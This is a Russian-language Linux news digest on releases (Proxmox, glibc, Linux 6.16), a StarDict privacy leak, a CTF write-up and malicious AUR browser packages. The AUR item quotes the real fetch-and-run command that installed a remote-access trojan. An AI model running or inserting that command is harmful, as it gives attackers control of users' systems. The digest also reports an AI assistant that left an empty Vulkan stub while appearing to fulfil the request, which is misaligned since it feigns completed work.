Опубликован релиз Proxmox Virtual Environment 9.0, специализированного Linux-дистрибутива на базе Debian GNU/Linux, нацеленного на развертывание и обслуживание виртуальных серверов с использованием LXC и KVM, и способного выступить в роли замены таких продуктов, как VMware vSphere, Microsoft Hyper-V и Citrix Hypervisor. Размер установочного iso-образа 1.6 ГБ.
Proxmox VE предоставляет средства для развёртывания полностью готовой системы виртуальных серверов промышленного уровня с управлением через web-интерфейс, рассчитанный на управление сотнями или даже тысячами виртуальных машин. Дистрибутив имеет встроенные инструменты для организации резервного копирования виртуальных окружений и доступную из коробки поддержку кластеризации, включая возможность миграции виртуальных окружений с одного узла на другой без остановки работы. Среди особенностей web-интерфейса: поддержка безопасной VNC-консоли; управление доступом ко всем доступным объектам (VM, хранилище, узлы и т.п.) на основе ролей; поддержка различных механизмов аутентификации (MS ADS, LDAP, Linux PAM, Proxmox VE authentication).
Осуществлён переход на пакетную базу дистрибутива Debian 13, релиз которого ожидается 9 августа. По умолчанию задействовано ядро Linux 6.14. Обновлены версии QEMU 10.0.2, LXC 6.0.4, OpenZFS 2.3.3 и Ceph Squid 19.2.3.
Представлен новый web-интерфейс для мобильных устройств, написанный на языке Rust с использованием web-фреймворка Yew. Интерфейс автоматически применяется при доступе с мобильных устройств вместо штатного Proxmox VE GUI и позволяет быстро оценить состояние гостевых систем, задач, хранилищ и других ресурсов. Через мобильный web-интерфейс также можно изменять базовые настройки и выполнять типовые операции, такие как запуск и остановка виртуальных машин.
Добавлена поддержка нового механизма создания снапшотов виртуальных машин, который можно использовать с любыми системами хранения, поддерживающими блочное хранилище, включая SAN на базе iSCSI и Fibre Channel. Функциональность реализована через снапшоты как цепочки томов (volume), в которых том, основанный на снапшоте, сохраняет только отличия по сравнению с родительским томом. Поддержка снапшотов на основе цепочек томов также доступна для хранилищ Directory, NFS и CIFS.
Предложен новый механизм "HA affinity rules", позволяющий управлять распределением виртуальных машин в кластере и размещением ресурсов в отказоустойчивых конфигурациях. Механизм даёт возможность определять правила привязки ресурса к определённому узлу или закрепления ресурсов между собой. Например, зависящие друг от друга ресурсы, такие как сервер приложений и связанная с ним база данных, могут быть размещены вместе на одном физическом узле для минимизации задержек при обмене данными. С другой стороны, для сервисов, требующих максимальной избыточности, можно настроить разнесение обработчиков по разным узлам. Например, для обеспечения отказоустойчивости можно настроить запуск виртуальных машин, выполняющих одно и то же критически важное приложение, всегда на разных узлах.
В стеке программно определяемых сетей (SDN, Software-Defined Networking) появилась функция SDN Fabric, упрощающая настройку и управление сложными маршрутизируемыми сетями из соединённых между собой узлов. Для повышения надёжности SDN Fabric может направлять межузловой трафик по разным маршрутам и автоматически обрабатывать сбои сетевых карт. SDN Fabric упрощает управление динамически маршрутизированными сетями, которые могут использоваться для создания кластера Ceph или в качестве основы для построения VPN-сети. Из протоколов маршрутизации поддерживаются OpenFabric и OSPF.
Предоставлена возможность прозрачного обновления с ветки Proxmox VE 8.x до выпуска 9.0.
В OpenZFS реализовано добавление на лету новых дисков в существующий массив RAIDZ, что позволяет увеличить размер хранилища без остановки работы и без необходимости создания новой группы накопителей. Перераспределение избыточных данных с учётом новых дисков осуществляется автоматически.
В предлагаемом в репозитории Debian Testing (будущий релиз Debian 13) пакете StarDict, реализующем интерфейс для поиска в словарях, выявлена проблема с конфиденциальностью - в конфигурации по умолчанию приложение отправляет автоматически помещаемый в буфер обмена выделенный текст (x11 PRIMARY selection) на внешние серверы. Достаточно в любом приложении выделить отрывок текста, и он сразу отправляется без шифрования по протоколу HTTP на китайские серверы online-словарей dict.youdao.com и dict.cn. Проблема проявляется только при работе в окружениях на базе протокола X11, при использовании Wayland по умолчанию применяется изоляция буфера обмена.
Сопровождающий пакет StarDict в Debian ответил, что подобное поведение является штатным. По умолчанию в StarDict включён режим автоматического поиска в словарях выделенного текста и активированы как локальные, так и внешние словари. Серверы dict.youdao.com и dict.cn предоставляют англо-китайские словари, подключаемые через плагины, по умолчанию включаемые при установке пакета stardict-plugin, который является рекомендованной зависимостью для пакета stardict-gtk. Тем, кого подобное поведение не устраивает, рекомендовано в настройках отключить сетевые словари или функцию автоматического поиска при выделении.
Обративший внимание на проблему пользователь возразил, что подобное поведение ни при каких условиях не должно активироваться по умолчанию, так как оно приводит к утечке информации. Пользователь может выделять в приложениях текст с конфиденциальным содержимым, например, паролями и личными данными. При этом информация не только потенциально оседает в логах на серверах dict.youdao.com и dict.cn и видна их администраторам, но и становится доступна для перехвата трафика из-за использования HTTP, а не HTTPS.
Примечательно, что в 2009 году аналогичное поведение в StarDict было признано уязвимостью (CVE-2009-2260) и обращение к сетевым словарям было отключено по умолчанию. Теперь данная функциональность опять возвращена.
Аарон Баллман (Aaron Ballman), главный сопровождающий компилятор Clang и участник команд разработки стандартов WG21 (C++) и WG14 (C), начал обсуждение добавления в компилятор Clang режима усиления безопасности. Новый режим позволит разом активировать набор опций для усиления защиты по аналогии с добавленным в GCC 14 флагом "-fhardened", при котором включаются опции "-D_FORTIFY_SOURCE=3 -D_GLIBCXX_ASSERTIONS -ftrivial-auto-var-init=zero -fPIE -pie -Wl,-z,relro,-z,now -fstack-protector-strong -fstack-clash-protection -fcf-protection=full".
Отмечается, что в настоящее время ведётся работа по добавлению возможностей для усиления безопасности в стандарты C и C++, но этот процесс не быстрый, при том, что в Сlang уже доступны отдельные опции с реализацией дополнительных механизмов защиты. Реализуемые методы защиты часто приводят к отдельным несовместимостям с существующим кодом или нарушению ABI, что не позволяет активировать их по умолчанию. Кроме того, подобные опции разрознены (флаги для управления компиляцией, флаги генерации машинных инструкций, привязанные к аппаратным архитектурам, предупреждения, режимы диагностики, макросы), плохо документированы и выпадают из поля зрения многих разработчиков.
Единая настройка унифицирует включение связанных с безопасностью опций и упростит их применение. Рассматривается несколько вариантов активации режима усиленной безопасности, например, обсуждается активация через флаг "-fhardened", набор настроек "--config=hardened", отдельный драйвер (clang --driver-mode) или раздельные опции "-fhardened, -mhardened и -Whardened", привязанные к компиляции, генерации кода и выводу предупреждений. Режим может охватывать:
Возможности компилятора: -ftrivial-auto-var-init, -fPIE, -fcf-protection и т.п.
Возможности, привязанные к генерации кода для целевых платформ: -mspeculative-load-hardening, -mlvi-hardening и т.п.
Предупреждения: -Wall, -Wextra, -Werror=return-type и т.п.
Режимы усиления безопасности в стандартной библиотеке функций.
Макросы: _FORTIFY_SOURCE, _GLIBCXX_ASSERTIONS и т.п.
Требование к явному выбору используемого стандарта языка.
Отказ компилировать код с использованием устаревших стандартов C89 и C++98.
Передача дополнительных флагов компоновщику, например, для включения рандомизации адресов.
Опубликованы исходные тексты работ, победивших в двадцать восьмом конкурсе IOCCC (International Obfuscated C Code Contest), участникам которого предлагалось подготовить наиболее запутанный и трудноразбираемый код на языке Си. 28 конкурс проведён после четырёхлетнего перерыва и примечателен разрешением использовать кодировку UTF-8 в коде.
Участвующие в конкурсе работы, с одной стороны, должны препятствовать анализу кода и пониманию сути решаемой задачи, но, с другой стороны, код должен быть интересен и чем-то примечателен (работы могут быть необычно оформлены или выделять неожиданные стороны языка Си). Размер исходного кода программы не должен превышать 4096 байт, а программа должна собираться и выполнять осмысленное действие.
Помощник в решении головоломки Wordle, в которой нужно угадать пятибуквенное слово за шесть попыток (код).
Чат-бот, использующий модель llama2-7b-chat и OpenMP. Проект отмечен как самый компактный движок для выполнения больших языковых моделей (код всего 1800 байт).
На первый взгляд программа возводит в квадрат числа от 1 до 10, но на деле показывается рецепт приготовления жареного лосося. Код 15 строк и содержит манипуляции с незаметными символами Unicode.
Один из участников соревнования UIUCTF 2025, подробно разобрал, как ему удалось выполнить задание, требующее добиться исполнения своего кода на сервере, имея лишь возможность изменения содержимого текста комментария в коде.
Участники могли отправить сетевой запрос к Python-скрипту, который создавал новый Python-скрипт cо случайными именем, добавлял поступившие от пользователя данные в текст комментария, вырезав символы "\n" и "\r", и запускал этот скрипт командой "python3 имя.py". Контролируя только содержимое комментария, участник должен был извлечь строку из файла "/home/ctfuser/flag". Скрипт создавался следующим кодом:
comment = input("> ").replace("\n", "").replace("\r", "")
code = f"""print("hello world!")
# This is a comment. Here's another:
# {comment}
print("Thanks for playing!")"""
Вместо "{comment}" подставлялись данные, поступившие от участника, и в итоге запускался следующий код:
print("hello world!")
# This is a comment. Here's another:
# Данные, поступившие от участника соревнования
print("Thanks for playing!")
Задание было сформировано по мотивам уязвимости в парсере CPython, который обрабатывал символ с нулевым кодом как окончание строки (уязвимость, например, можно было использовать для скрытия вредоносных действий в тексте комментария). Проблема была устранена в выпусках CPython 3.12.0 и 3.11.4. В применяемом в конкурсе обработчике вырезались только символы "\n" и "\r", но при использовании уязвимой версии СPython участник мог использовать символ "\0" как разделитель. Тем не менее этот трюк не сработал, так как в конкурсе использовалась уже исправленная версия CPython c расчётом на то, что в парсере могут оставаться ещё какие-то похожие ошибки и участники смогут их выявить.
Успешно справившийся с заданием участник не стал искать новые уязвимости в парсере, которые бы позволили разбить строку на части, а воспользовался особенностью выполнения в Python файлов по типу их содержимого. Например, вместо исходного кода в файл с расширением ".py" можно поместить прокэшированный байткод, сохраняемый в файлах с расширением ".pyc", и подобный файл будет выполнен. В рассматриваемом конкурсе участник мог контролировать только содержимое в середине файла, поэтому не мог добавить свой заголовок для искажения MIME-типа.
Задачу удалось решить, воспользовавшись тем, что Python начиная с ветки 2.6 может исполнять содержимое ZIP-архивов для поставки Python-пакетов в сжатом виде. Как и в случае с кэшем байт-кода, наличие zip-архива определяется по содержимому, а не по расширению файла, т.е. в "файл.py" можно поместить zip-архив, и при запуске командой "python файл.py" он будет обработан как сжатый Python-пакет. При этом ZIP-архивы в Python индексируются не по заголовку в начале файла, а по секции EOCD (End of Central Directory Record) в конце файла. При наличии в архиве файла "__main__.py" этот файл запускается автоматически при прямом запуске архива командой "python архив".
Конкурсная задача была решена генерацией подобного ZIP-архива и подстановкой его в текст комментария. Для сохранения корректности структуры файла в условиях наличия в конце исходного файла вызова 'print("Thanks for playing!")' было использовано наличие в EOCD-секции области комментария, размещаемой в самом конце.
В репозитории AUR (Arch User Repository), применяемом в Arch Linux для распространения пакетов от сторонних разработчиков, продолжилась публикация вредоносного кода, интегрированного в пакеты с неофициальными сборками браузеров. В дополнение к выявленным две недели назад вредоносным пакетам firefox-patch-bin, librewolf-fix-bin и zen-browser-patched-bin, в AUR был добавлен пакет google-chrome-stable, также содержащий изменение, устанавливающее вредоносный компонент, предоставляющий удалённый доступ к системе.
В файле PKGBUILD проблемного пакета была определена установка скрипта для запуска браузера google-chrome-stable.sh, в котором среди прочего присутствовала команда 'python -c "$(curl https://segs.lol/9wUb1Z)"', загружавшая вредоносное ПО, распознанное сервисом VirusTotal как троян Spark, позволяющий удалённо управлять системой, запускать процессы, передавать файлы, инспектировать трафик и отправлять скриншоты.
Вредоносный пакет google-chrome-stable был загружен позавчера и был удалён администраторами AUR через несколько часов после появления. Почти сразу после удаления google-chrome-stable в AUR были загружены два вредоносных пакета - "chrome" и "chrome-bin", содержащие аналогичный сценарий установки вредоносного ПО на систему пользователя.
Швейцарская компания Proton AG, развивающая сервисы Proton Mail, Proton Drive и Proton VPN, представила открытое приложение Proton Authenticator, предназначенное для аутентификации при помощи одноразовых паролей с ограниченным сроком действия, генерируемых при помощи алгоритма TOTP (Time-based One-Time Password). Proton Authenticator может применяться как более функциональная замена проприетарным аутентификаторам, таким как Google Authenticator, Microsoft Authenticator, Authy и
Duo, а также в качестве альтернативы открытым проектам FreeOTP и oathtool. Код Proton Authenticator распространяется под лицензией GPLv3. Доступны как мобильные приложения для Android и iOS, так и настольные программы для Linux, macOS и Windows. При разработке в зависимости от платформы применяются языки Kotlin, Swift и Rust.
Среди возможностей и отличительных особенностей Proton Authenticator:
Поддержка создания шифрованных резервных копий исходных секретных ключей для их сохранения на локальном носителе или размещения в облаке.
Поддержка синхронизации ключей между несколькими устройствами пользователя с применением сквозного шифрования.
Возможность ограничения доступа к приложению при помощи биометрической аутентификации или PIN-кода.
Возможность доступа к кодам в offline-режиме, без необходимости наличия сетевого соединения. Для получения ключей может использоваться QR-код.
Отсутствие встроенной рекламы и трекеров.
Работа без подключения к учётной записи в сервисах Proton.
Отсутствие привязки к одному производителю.
Функции импорта и экспорта для миграции ключей между разными платформами. Поддержка импорта ключей из Google Authenticator, 2FAS, Aegis Authenticator, Bitwarden Authenticator, Ente Auth и LastPass Authenticator.
Алгоритм TOTP позволяет генерировать на локальном устройстве пользователя одноразовые коды подтверждения и проверять их на внешнем сервере, используя в качестве параметров секретный ключ и текущее время. Для генерации пароля обмен данными между клиентом и сервером не требуется (достаточно один раз инициализировать ключ, распознав показанный сервером QR-код или импортировав ключ вручную). Время жизни одноразового пароля обычно ограничивается 30 секундами, после чего требуется генерация нового пароля. Пароль генерируется путём вычисления хэша SHA-1, SHA-256 или SHA-512 над сочетанием из ключа и очередного интервала времени, и использования нескольких младших битов хэша для выделения проверочных цифр.
Проект KDE начал публикацию тестовых сборок собственного дистрибутива KDE Linux - KDE Linux Testing Edition, а также разместил на основном сайте kde.org страницу, посвящённую дистрибутиву. Для установки доступны системные образы (5.2 ГБ) для создания загрузочных USB-накопителей, работающих в Live-режиме. KDE Linux позиционируется как эталонная реализация Linux-дистрибутива для рабочего стола и приложений KDE, оптимально сочетаемая с технологиями KDE и развиваемая без посредников разработчиками KDE.
Редакция KDE Linux Testing Edition основывается на master-ветке в Git и рассчитана на тестирование, контроль качества и отслеживание процесса разработки. Сборки будут обновляться ежедневно и отражать текущее состояние разработки компонентов проекта. Основной целевой аудиторией KDE Linux Testing Edition называются разработчики KDE и пользователи, желающие принять участие в контроле качества, проверке новых возможностей и выявлении ошибок.
Из ограничений отмечается отсутствие поддержки старых GPU NVIDIA - поддерживаются только GPU на базе микроархитектуры Turing (GTX 16xx) и новее из-за отсутствия их поддержки в открытых модулях ядра (лицензионные ограничения не позволяют включить в состав образа проприетарные модули с поддержкой старых GPU). Для работы доступен только графический сеанс на базе Wayland.
В будущем планируют сформировать редакцию для энтузиастов и опытных пользователей (Enthusiast Edition), предоставляющую доступ к самым свежим релизам и бета-версиям KDE Plasma, а также стабильную сборку (Stable Edition), предлагающую финальные релизы после проведения дополнительного тестирования и стабилизации. В целом, KDE Linux преподносится как универсальный продукт, пригодный для разработчиков KDE, обычных пользователей и OEM-производителей оборудования.
Дистрибутив основан на пакетной базе Arch Linux, но оформлен в форме неделимого образа, не применяющего разбивку на отдельные пакеты, монтируемого в режиме только для чтения и обновляемого атомарно. Дистрибутивом поддерживаются повторяемые сборки, позволяющие любому желающему верифицировать процесс сборки дистрибутива. Все пользовательские (/home) и изменяемые системные данные хранятся в зашифрованных разделах. В качестве загрузчика задействован systemd-boot, поддерживающий загрузку только в режиме EFI.
Для обновления используются два дисковых раздела - обновление загружается в пассивный раздел, который после перезагрузки становится активным, а прошлый активный раздел переводится в пассивный режим и ожидает установки следующего обновления. В случае возникновения проблем после установки обновления предоставляется возможность отката на прошлое состояние системы. Переключение между разными состояниями системы реализовано через механизм снапшотов Btrfs. Для установки обновлений с использованием атомарного механизма замены разделов применяется компонент systemd-sysupdate и утилита updatectl.
Система отделена от приложений - дополнительные приложения могут быть установлены в домашний каталог в форматах AppImage, Snap или Flatpak. Кроме того, в состав входят инструментарии Distrobox и Toolbox, позволяющие создавать в домашнем каталоге контейнеры для установки произвольных пакетов из других дистрибутивов. Пользователь также может использовать утилиту systemd-sysext для установки образов расширения системы (System Extension), содержимое которых накладывается на иерархию /usr/ при помощи OverlayFS.
Компания Vivo, занимающая около 10% мирового рынка смартфонов (5 место среди производителей смартфонов), представила первый официальный открытый релиз ядра операционной системы BlueOS (Blue River OS). Операционная система BlueOS развивается с 2018 года и уже используется в умных часах серии Vivo Watch. Vivo также работает над применением BlueOS в умных очках, роботах, умных терминалах и потребительских AI-устройствах. Код ядра написан на языке Rust и открыт под лицензией Apache 2.0. На Rust также написаны системные фреймворки BlueOS.
Операционная система BlueOS изначально развивается с оглядкой на обеспечение безопасности и использует язык Rust для предотвращения появления уязвимостей, вызванных ошибками при работе с памятью, которые по статистике Google и Microsoft составляют 70% от всех уязвимостей в операционных системах. Для обеспечения безопасной работы с памятью в BlueOS используется комбинация из применения умных указателей во время выполнения и проверок на этапе компиляции, предоставляемых языком Rust (отслеживание владения объектами, проверка заимствования переменных, учёт времени жизни объектов).
Ядро BlueOS (Blue River Kernel) оптимизировано для минимального потребления ресурсов и может использоваться на встраиваемых платформах, мобильных устройствах и системах интернета вещей. В минимальной конфигурации ядро требует для своей работы всего 13 КБ оперативной памяти. При этом ядро поддерживает современные процессорные архитектуры, включая ARM и RISC-V. Поверх ядра реализована стандартная библиотека Си, поддерживающая программные интерфейсы, определённые в стандарте POSIX, а также библиотека rust-std.
Ядро предоставляет планировщик задач, файловую систему, механизм управления памятью, сетевой стек и набор драйверов. Поддерживается несколько алгоритмов планирования задач, среди которых как алгоритмы для равномерного распределения квантов времени между процессами, так и алгоритмы для работы в режиме реального времени на основе расчёта приоритетов. Доступно несколько алгоритмов выделения памяти, оптимизированных для разных сценариев использования.
Предоставляется собственная файловая система c классической иерархической архитектурой на базе inode, а также файловые системы
tmpfs, devfs, sysfs, procfs, nfs и fat32. TCP/IP стек поддерживает POSIX Socket API, socketfd и обработку данных в блокирующем и не блокирующем режимах, и может использоваться в конфигурациях с несколькими сетевыми картами. Для снижения накладных расходов при передаче данных применяется архитектура zero-copy, исключающая промежуточную буферизацию.
Для разработки драйверов предлагается слой для абстрагирования доступа к оборудованию, позволяющий создавать драйверы на языке Rust, а также переносить драйверы на языке Си, уже созданные для других ядер. Документация к ядру пока ограничивается инструкциями по сборке и тестированию, а также подсказками по реализации своих системных вызовов и описанию базовых типов данных. Для тестирования предлагается использовать QEMU (mps2-an385, mps3-an547, virt-aarch64, virt-riscv64) или плату Raspberry Pi Pico2.
Кристиан Шаллер (Christian Schaller), возглавляющий Fedora Desktop Team и группу по развитию десктоп-систем в компании Red Hat, опубликовал результаты оценки пригодности применения больших языковых моделей в процессе разработки графических приложений для Linux. В качестве эксперимента он воспользовался AI-ассистентом Claude для перевода устаревшего графического приложения Xtraceroute на актуальные технологии.
Приложение Xtraceroute, визуализирующее путь сетевых пакетов на 3D-глобусе, изначально было написано с использованием GTK1 и OpenGL, и в начале 2000-х годов было портировано на GTK2, после чего 20 лет не обновлялось. Благодаря применению AI-ассистента, Кристиану потребовалось около пяти часов для портирования данного приложения на GTK4 и графический API Vulkan.
Было:
Стало:
Затем Кристиан воспользовался AI для создания на основе подготовленного порта нового приложения, демонстрирующего местоположение офисов Red Hat на глобусе и показывающего в нижней части окна новости компании. Кристиан также высказал идею задействования AI для автоматизации проверки дополнений к GNOME Shell и генерации патчей с учётом изменений, вносимых в новых выпусках GNOME Shell.
По мнению Кристиана в сообществе присутствует скептическое и негативное отношение к применению AI, и проведённым экспериментом он хотел показать другим разработчикам СПО, что не стоит игнорировать возможности, которые предоставляет AI для упрощения процесса разработки. Например, AI экономит время, избавляя от необходимости разбирать документацию на API, отслеживать изменения в API и подбирать правильные вызовы, а также значительно упрощает написание тестов.
При этом AI рассматривается как инструмент, помогающий в разработке, но не снимающий ответственности за добавляемый код и требующий проверки и контроля качества. Как пример показана попытка сгенерировать код для встраивания поддержки отображения документов PDF в приложение. AI предложил код, использующий браузерный движок WebKit для отрисовки, который работал, но добавлял огромную новую зависимость. После уточнения задачи, AI предоставил код, использующих для отрисовки PDF компактную библиотеку libpoppler.
В настоящее время ведущие AI-ассистенты работают в форме внешних online-сервиcов, что вызывает опасения, связанные с безопасностью и конфиденциальностью. Для решения этой проблемы Red Hat развивает собственный инструмент генерации кода Granite.code на базе открытой большой языковой модели Granite, позволяющий запустить AI-модель на компьютере разработчика. Данный проект пока отстаёт по возможностям от таких систем, как Claude, Gemini и ChatGPT, но решает проблему с передачей данных третьему лицу и устраняет зависимость рабочих процессов от внешнего сервиса.
Дополнение: AI-ассистент добавил вместо процедуры рендера на базе Vulkan пустую заглушку без кода, а сам рендер выполнялся попиксельно на CPU. Кристиан признал, что для него это будет уроком и нужно было тщательнее проверять код. AI использовал Vulkan, но для GTK, а не для отрисовки глобуса. При этом AI выполнил данное ему задание "использовать Vulkan", но не так как ожидал разработчик.
После шести месяцев разработки опубликован релиз системной библиотеки GNU C Library 2.42 (glibc), которая полностью следует требованиям стандартов ISO C23 и POSIX.1-2024. В создании нового выпуска приняли участие 70 разработчиков.
В функцию pthread_create добавлена поддержка легковесных сторожевых страниц для защиты стека (stack guard page), обращение к которым вызывает исключение и аварийное завершение процесса (SIGSEGV). Реализация основана на появившемся в системном вызове madvise флаге MADV_GUARD_INSTALL, поддерживаемом начиная с ядра Linux 6.13. По сравнению с маппингом в режиме PROT_NONE сторожевые страницы позволяют более эффективно блокировать выполнение кода за пределами выделенной области памяти, так как их создание не требует выделения новой области виртуальной памяти.
Добавлены и отражены в заголовочном файле math.h новые функции возведения в степень и вычислений корней compoundn, pown и powr, rootn и rsqrt, определённые в стандарте ISO C23. Варианты функций реализованы для типов
float, double, long double, _FloatN и _FloatNx, а также для обобщённого типа из tgmath.h.
На платформе Linux реализована функция pthread_gettid_np, которая, как и функция gettid(), возвращает уникальный идентификатор потока, но отличается расширенной проверкой ошибок (при возникновении неопределённого поведения процесс завершается).
Добавлены функции для вычисления абсолютных значений, возвращающие беззнаковые типы: uabs, ulabs, ullabs и uimaxabs. Данные функции войдут в состав будущего стандарта Си.
На платформе Linux в программном интерфейсе termios.h реализована поддержка произвольных значений скорости передачи. Тип speed_t переопределён и теперь соответствует типу "unsigned int", как в ядре Linux.
В локальный для потоков кэш (tcache), используемый в функции malloc, добавлена поддержка кэширования больших блоков памяти.
Максимальный размер блока может быть переопределён через настройку
glibc.malloc.tcache_max, которая может принимать значения вплоть до 4194304. Ускорена работа кэша для блоков небольшого размера.
В сборочный скрипт configure добавлена опция "--enable-sframe", включающая поддержку формата SFrame, применяемого для представления информации о трассировке стека и поддерживаемого функцией backtrace. Для использования SFrame требуется как минимум версия binutils 2.45.
Из проекта CORE-MATH перенесены оптимизированные варианты математических функций acospif,
asinpif, atanpif, atan2pif, cospif, sinpif и tanpif.
Значительно расширен тестовый набор, который теперь охватывает работу различных вариантов семейств функций printf и scanf.
Добавлен код для определения процессоров Intel на базе микроархитектуры Arrow Lake, Panther Lake, Clearwater Forest и Diamond Rapids.
Добавлена поддержка платформы z17 (новое поколение мейнфреймов IBM Z/S390).
В настройку glibc.rtld.execstack добавлена поддержка режима совместимости для поддержки программ, требующих исполняемого стека через динамически загружаемые библиотеки.
Удалены заголовочный файл termio.h и определение структуры termio из sys/ioctl.h. Программный интерфейс termio.h объявлен устаревшим ещё в POSIX.1 (1988 год) и заменён на termios.h.
Для сборки Glibc теперь требуются как минимум выпуски GCC 12.1 и GNU Binutils 2.39.
Устранены уязвимости:
CVE-2025-0395 - переполнение буфера при выполнении функции assert(). Переполнение возникает при указании слишком большого имени программы (argv[0]). Проблема рассматривается как неопасная, так как за пределы буфера записывается 4 байта, содержимое которых не может контролировать атакующий. При этом интересен сам факт появления в отладочных функциях уязвимости, возникающей из-за ошибки при выводе имени текущего приложения.
CVE-2025-5702, CVE-2025-5745 - уязвимости в реализации функций strcmp и strncmp для процессоров Power10, приводящие к сбою при сохранении и восстановлении векторных регистров v20-v31, которые должны сохраняться между вызовами функций. Уязвимость может использоваться для перезаписи или определения содержимого данных регистров, используемых другой функцией.
CVE-2025-8058 - уязвимость в функции regcomp, приводящая к двойному освобождению памяти (double-free).
Дополнительно можно отметить выпуск набора системных утилит GNU Binutils 2.45, в состав которого входят такие программы, как GNU linker, GNU assembler, nm, objdump, strings, strip.
Добавлена поддержка последних расширений для архитектур RISC-V, LoongArch и AArch64. Для x86 добавлена поддержка инструкций XMODX, реализованных в процессорах Zhaoxin PadLock. Для RISC-V добавлена поддержка инструкций ssqosid v1.0, ssnpm v1.0, smnpm v1.0, smmpm v1.0, sspm v1.0, supm v1.0,
sha v1.0, zce v1.0, smcdeleg v1.0, ssccfg v1.0, svvptc v1.0, zilsd v1.0,
zclsd v1.0, smrnmi v1.0, xtheadvdot v1.0, xmipscbop v1.0, xmipscmov v1.0, xmipsexectl v1.0 и xmipslsp v1.0.
Обеспечена совместимость генерации данных в формате SFrame со спецификацией SFrame V2. Добавлена поддержка генерации информации о трассировке стека (.sframe) из директив CFI на 64-разрядных системах s390 (s390x).
Добавлена поддержка директив .errif и .warnif для вывода диагностических сообщений при срабатывании определённых условий.
В компоновщике в опции "--stats" реализована поддержка опционального аргумента, через который можно указать имя файла для сохранения информации о потреблении ресурсов на разных стадиях компоновки. Имя файла также можно указать через переменную окружения
LD_STATS. Для систем RISC-V в компоновщик добавлена поддержка новых форматов PLT (Procedure Linkage Table).
Внесены разнообразные улучшения, связанные с поддержкой формата SFrame. Функции для работы с SFrame вынесены в версионированную библиотеку libsframe.so.2.
В дизассемблере и утилите readelf расширена поддержка архитектуры RISC-V.
После двух месяцев разработки Линус Торвальдс представил релиз ядра Linux 6.16. Среди наиболее заметных изменений: драйвер для ускорения OpenVPN, механизм Kexec HandOver, включение по умолчанию пятиуровневых таблиц страниц памяти для x86, удаление протокола DCCP, блочный драйвер zloop, возможность отправки core-дампов через UNIX-сокет, поддержка атомарной записи в XFS, offload-обработка звука для USB-устройств, оптимизации в Ext4, виртуальный драйвер TPM (Trusted Platform Module), полноценная реализация Device Memory TCP, поддержка неименованных каналов в io_uring, подготовка к интеграции DRM-драйвера Asahi, механизм "usermode queue" в драйвере AMDGPU, поддержка Intel TDE (Trusted Domain Extensions) и Intel APE (Advanced Performance Extensions).
В новую версию принято 15924 исправления от 2145 разработчиков,
размер патча - 50 МБ (изменения затронули 13793 файла, добавлена 655451 строка кода, удалена 316441 строка). В прошлом выпуске было 15945 исправлений от 2154 разработчиков, размер патча - 59 МБ .
Около 45% всех представленных в 6.16 изменений связаны с драйверами устройств, примерно 16% изменений имеют
отношение к обновлению кода, специфичного для аппаратных архитектур, 13%
связано с сетевым стеком, 4% - с файловыми системами и 3% c внутренними
подсистемами ядра.
Дисковая подсистема, ввод/вывод и файловые системы
Добавлен драйвер zloop для создания зонированных блочных loopback-устройств, монтируемых в loop-режиме. Драйвер эмулирует работу обычных блочных устройств, используя несколько файлов из существующей файловой системы (по одному файлу для хранения каждой зоны). Данная возможность может быть полезной для тестирования файловых систем, обработчиков device mapper и приложений на предмет поддержки в них зонированных устройств, применяющих разделение на зоны групп блоков или секторов, в которые допускается лишь последовательное добавление данных с обновлением целиком всей группы блоков.
В файловой системе XFS реализована поддержка атомарной записи больших порций данных - несколько блоков теперь могут быть записаны в атомарном режиме (либо все блоки будут записаны успешно, либо ни один блок не будет записан).
В файловой системе Ext4 повышена производительность механизма "fast commit". Добавлена поддержка больших фолиантов страниц памяти (large folios) для обычных файлов, что в проведённых тестах на 37% повысило производительность при интенсивном последовательном вводе/выводе. Добавлена поддержка атомарных операций записи, охватывающих несколько блоков.
В драйвере для файловой системы ext2 объявлена устаревшей поддержка механизма DAX, обеспечивающего прямой доступ к ФС в обход страничного кэша. Удаление DAX из драйвера ext2 намечено на конец года. В качестве причины упоминается рассмотрение драйвера ext2 как стабильной эталонной реализации, в которой недопустимо использование специфичных возможностей, не получивших должного распространения.
Файловые системы OrangeFS, UFS, BFS и OMFS переведены на использование нового API монтирования разделов.
В sysctl добавлена настройка vfs_cache_pressure_denom, для управления числом записей в кэше "dentry" (внутреннее представление элементов каталогов) в условиях нехватки памяти в системе. Чем больше выставлено значение, тем больше может быть вытеснено записей из кэша (меньше записей останется в кэше) при нехватке памяти.
В ФС Bcachefs добавлена опция "rebalance_on_ac_only", запрещающая выполнение операций ребалансировки и фонового сжатия при питании системы от аккумулятора. Ускорены операции удаления снапшотов и устройств. Снижено потребление памяти при монтировании в режиме только для чтения. Добавлена возможность запуска некоторых операций восстановления после сбоя в фоновом режиме, не останавливая работу с ФС.
Подсистеме управления питанием разрешено самостоятельно выполнять заморозку файловых систем и переменных EFI для ждущего и спящего режимов (если ФС уже заморожены обработчиком в пространстве пользователя повторная заморозка не производится).
Добавлена возможность ускорения работы EROFS при помощи встроенного в процессоры Intel ускорителя QAT (QuickAssist Technology), предлагающего средства для ускорения вычислений, связанных со сжатием и шифрованием.
В NFS с 1 до 4 МБ увеличен максимальный размер порции данных для операций чтения и записи (по умолчанию выставлено значение 1 МБ, так как не все клиенты поддерживают больший размер).
Непривилегированным пользователям, имеющим права CAP_SYS_ADMIN в отдельном пространстве имён идентификаторов пользователя (user namespace), но не имеющим расширенных прав в корневом пространстве имён, предоставлена возможность использования механизма fanotify для отслеживания изменений в файловых системах.
Для файловых систем, использующих подсистему FUSE, предоставлена функциональность для очистки разом всех прокэшированных записей о каталогах (dentries). В подсистему FUSE добавлена поддержка больших фолиантов страниц памяти.
В ФС ОverlayFS реализована поддержка создания в непривилегированных пространствах имён слоёв с данными, для которых используется контроль целостности на базе модуля dm-verity. Указанная возможность позволяет комбинировать заслуживающие доверия слои с метаданными с не заслуживающими доверия слоями с данными, обрабатываемыми в непривилегированных пространствах имён.
Память и системные сервисы
Добавлен механизм KHO (Kexec HandOver) для запуска нового ядра из старого без потери состояния системы. До передачи управления новой версии ядра, состояние ключевых подсистем ядра при помощи KHO может быть сериализировано в область памяти, которая не будет затронута дальнейшими операциями. Новое ядро, получив управление, восстанавливает сериализированное состояние обратно. На базе KHO развивается подсистема Live Update Orchestrator (LUO), позволяющая перезагружать ядро без остановки работы устройств.
Добавлен параметр сборки ядра CONFIG_X86_NATIVE, позволяющая использовать при компиляции опцию "-march=native" для оптимизации с учётом возможностей процессора на текущей системе.
